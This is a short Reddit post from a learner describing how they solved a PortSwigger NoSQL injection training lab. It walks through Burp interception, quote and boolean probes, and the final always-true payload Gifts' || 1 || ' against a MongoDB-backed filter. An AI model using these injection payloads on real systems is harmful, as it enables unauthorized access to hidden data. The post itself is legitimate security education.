r/Hacking_Tutorials • • 17d ago

Question Solved my first NoSQL Injection lab on PortSwigger — here’s what I learned (Detecting NoSQLi)

Just solved Lab 01: Detecting NoSQL Injection on PortSwigger Academy.

I thought NoSQL = no injection. Turns out that's a myth.

The lab:
Product category filter powered by 【entity-MongoDB¦canonical_name=MongoDB】. Goal was to display unreleased products.

What I did:

  1. Intercepted GET /filter?category=Gifts in Burp Repeater
  2. Tested with '
  3. -> 500 Internal Server Error + JS syntax error. Confirmed injection.
  4. Boolean tests:
  5. Gifts' && 0 && 'x = 0 products (false)
  6. Gifts' && 1 && 'x = Gifts products (true)
  7. Final payload:
  8. Gifts' || 1 || '
  9. Made the query always true, bypassed the filter + released check. Unreleased products displayed. Solved.

Key takeaway:
This was JavaScript / Syntax Injection, NOT Operator Injection ($ne, $gt). Operator Injection is Lab 02.

A lot of beginners mix them up because || looks like an operator, but in this lab we were breaking out of a JS string with ' and using JS operators.

Full writeup with screenshots on my 【entity-GitHub¦canonical_name=GitHub】 if anyone wants it: 【entity-github¦canonical_name=GitHub】.com/CyberZulka/PortSwigger-NoSQL-Injection

Next: Lab 02 - Bypassing auth with operator injection…

9 Upvotes

0 comments sorted by